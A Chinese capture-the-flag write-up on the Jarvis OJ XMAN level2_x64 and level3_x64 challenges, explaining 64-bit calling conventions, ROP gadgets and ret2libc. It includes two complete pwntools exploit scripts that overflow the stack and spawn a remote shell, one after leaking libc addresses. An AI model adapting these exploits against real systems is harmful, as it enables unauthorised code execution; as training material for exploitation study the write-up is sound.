Jarvis OJ- [XMAN]level2/3_x64-Writeup——64位简单栈溢出
两道64位栈溢出,思路和之前的32位溢出基本一致,所以放在一起
在这两道中体现的32位和64位的主要区别在于函数参数传递的方式
在32位程序运行中,函数参数直接压入栈中
调用函数时栈的结构为:调用函数地址->函数的返回地址->参数n->参数n-1->···->参数1
在64位程序运行中,参数传递需要寄存器
64位参数传递约定:前六个参数按顺序存储在寄存器rdi, rsi, rdx, rcx, r8, r9中
参数超过六个时,从第七个开始压入栈中
Level2_x64
和32位level2程序逻辑基本一致
只要在调用system函数传递参数“/bin/sh”时,将其传入寄存器即可。
Something new
可以使用ROPgadget搜索我们需要的rop链
ROPgadget可以在程序的汇编代码中寻找字符串或命令
箭头所指pop rdi ; ret 即为将栈顶元素弹出并存入寄存器rdi,ret返回栈。
可以利用此类语句将函数参数传入寄存器。
exp:
#!usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import * io = remote("pwn2.jarvisoj.com",9882)
elf = ELF("./level2_x64") sys_addr = elf.symbols["system"]
bin_addr = 0x600A90 #利用ROPgadget获得
rdi_ret = 0x4006B3 payload = ''
payload += 'a' * 0x88
payload += p64(rdi_ret)
payload += p64(bin_addr)
payload += p64(sys_addr) io.recvline()
io.sendline(payload)
io.interactive()
io.close()
结果如下
Level3_x64
和上一个相同,差别只在调用函数时参数的传递
按照参数传递约定,write函数需要三个参数,需要rdi,rsi,rdx三个寄存器,但是没有发现所需要的第三个寄存器rdx
所以可以先跳过第三个参数(读入长度)
写好exp之后可以调试下,查看在调用函数之前,rdx的值,如果rdx值>=8,那么就不需要处理,
exp
#!usr/bin/env python
# -*- coding: utf-8 -*- from pwn import *
context.log_level = 'debug'
io = remote("pwn2.jarvisoj.com",9883)
elf = ELF("./level3_x64") write_plt = elf.plt["write"]
write_got = elf.got["write"]
func = elf.symbols["vulnerable_function"] libc = ELF("./libc-2.19.so")
write_libc = libc.symbols["write"]
sys_libc = libc.symbols["system"]
bin_libc = libc.search("/bin/sh").next() rdi_ret = 0x4006B3
rsi_ret = 0x4006B1
payload1 = 'a' * 0x88
payload1 += p64(rdi_ret) + p64(1) # rdi
payload1 += p64(rsi_ret) + p64(write_got) + p64(0xdeadbeef) #rsi 和 r15
payload1 += p64(write_plt) + p64(func) io.recvline()
io.sendline(payload1)
write_addr = u64(io.recv(8))
sys_addr = write_addr - write_libc + sys_libc
bin_addr = write_addr - write_libc + bin_libc payload2 = 'a' * 0x88
payload2 += p64(rdi_ret) + p64(bin_addr)
payload2 += p64(sys_addr) + p64(0xdeadbeef) io.recvline()
io.sendline(payload2)
io.interactive()
io.close()
结果:
关于程序中寄存器不够的问题,留一个链接http://m.blog.csdn.net/zsj2102/article/details/78560300
讲的还算清楚
作者:辣鸡小谱尼
出处:http://www.cnblogs.com/ZHijack/
如有转载,荣幸之至!请随手标明出处;
Jarvis OJ- [XMAN]level2/3_x64-Writeup——64位简单栈溢出的更多相关文章
- Jarvis OJ - [XMAN]level2 - Writeup
简单利用"/bin/sh"夺权 简单看一下 放到ida中发现了"/bin/sh"串,和system函数,可以利用== 所以只要在vuln函数返回时跳转到syst ...
- Jarvis OJ - [XMAN]level1 - Writeup
Jarvis OJ - [XMAN]level1 - Writeup M4x原创,转载请表明出处http://www.cnblogs.com/WangAoBo/p/7594173.html 题目: 分 ...
- Jarvis OJ - Baby's Crack - Writeup
Jarvis OJ - Baby's Crack - Writeup M4x原创,欢迎转载,转载请表明出处 这是我第一次用爆破的方法做reverse,值得记录一下 题目: 文件下载 分析: 下载后解压 ...
- Jarvis OJ - [XMAN]level3 - Writeup——ret2libc尝试
这次除了elf程序还附带一个动态链接库 先看一下,很一般的保护 思路分析 在ida中查看,可以确定通过read函数输入buf进行溢出,但是并没有看到合适的目标函数 但是用ida打开附带的链接库,可以看 ...
- Jarvis OJ - [XMAN]level1 - Writeup——简单shellcode利用
100分的pwn 简单查看一下,果然还是比较简单的 放到ida中查看一下,有明显的溢出函数,并且在函数中打印出了字符串的地址,并且字符串比较长,没有NX保护 所以我们很容易想到构造shellcode, ...
- Jarvis OJ - [XMAN]level0 - Writeup
差不多最简单的pwn了吧,不过本菜鸟还是要发出来镇楼 分析一下,checksec 查看程序的各种保护机制 没有金丝雀,没有pie 执行时输出Hello,World,在进行输入,溢出嘛 开工 丢到id ...
- Jarvis OJ [XMAN]level1 write up
首先 老规矩,把软件拖到Ubuntu里checksec一下文件 然后知道了软件位数就放到IDA32里面... 熟悉的函数名... 缘真的妙不可言... 然后看了下vulnerable_function ...
- Jarvis OJ - 栈系列部分pwn - Writeup
最近做了Jarvis OJ的一部分pwn题,收获颇丰,现在这里简单记录一下exp,分析过程和思路以后再补上 Tell Me Something 此题与level0类似,请参考level0的writeu ...
- jarvis OJ部分writeup
[XMAN]level 0 [XMAN]level 1 —— 简单shellcode利用 [XMAN]level 2 [XMAN]level 3 —— ret2libc尝试 [XMAN]level2& ...
随机推荐
- Django 模板中 include 标签使用小结
include 标签允许在模板中包含其它的模板的内容. 标签的参数是所要包含的模板名称,可以是一个变量,也可以是用单/双引号硬编码的字符串. 每当在多个模板中出现相同的代码时,就应该考虑是否要使用 { ...
- 使用PostgreSQL进行全文检索
* { color: #3e3e3e } body { font-family: "Helvetica Neue", Helvetica, "Hiragino Sans ...
- 转:ef获取某个表中的部分字段值
我有个新闻表 id,title,body,createtime,author,click 使用ef4.1 仅仅读取 id,title,createtime 并显示在页面上. public static ...
- RestSharp使用总结
RestSharp是一个轻量的,不依赖任何第三方的组件或者类库的Http的组件.RestSharp具有以下的优点: 1.支持.NET 3.5+,Silverlight 4, Windows Pho ...
- python进阶---Python中的socket编程
初识socket编程 一.前言 socket基于C\S架构(客户端\服务端)的编程模型,在Python中是以socket模块存在的. Socket是应用层与TCP/IP协议族通信的中间软件抽象层,它是 ...
- 发布npm时遇到的两个小问题,解决方法
1.出现这个错误 no_perms Private mode enable, only admin can publish this module 错误输出内容 npm ERR! publish Fa ...
- centos7 jdk8 tomcat8 安装
安装jdk # cd /opt/# wget --no-cookies --no-check-certificate --header "Cookie: gpw_e24=http%3A%2F ...
- 使用dropwizard(5)--加入swagger
前言 Swagger已经成API service的规范了,本处在dropwizard中简单集成Swagger. Demo source https://github.com/Ryan-Miao/l4d ...
- SSH框架的多表查询(方法二)增删查改
必须声明本文章==>http://www.cnblogs.com/zhu520/p/7773133.html 一:在前一个方法(http://www.cnblogs.com/zhu520/p ...
- Mac下面的SecureCRT以及破解方案详解
今天安装SecureCRT时遇到了一些问题,解决后便想分享给大家.本人还是在校大学生,如果有说得不好的地方请多多指教. 第一步:下载:https://macabc.com/detail.htm?app ...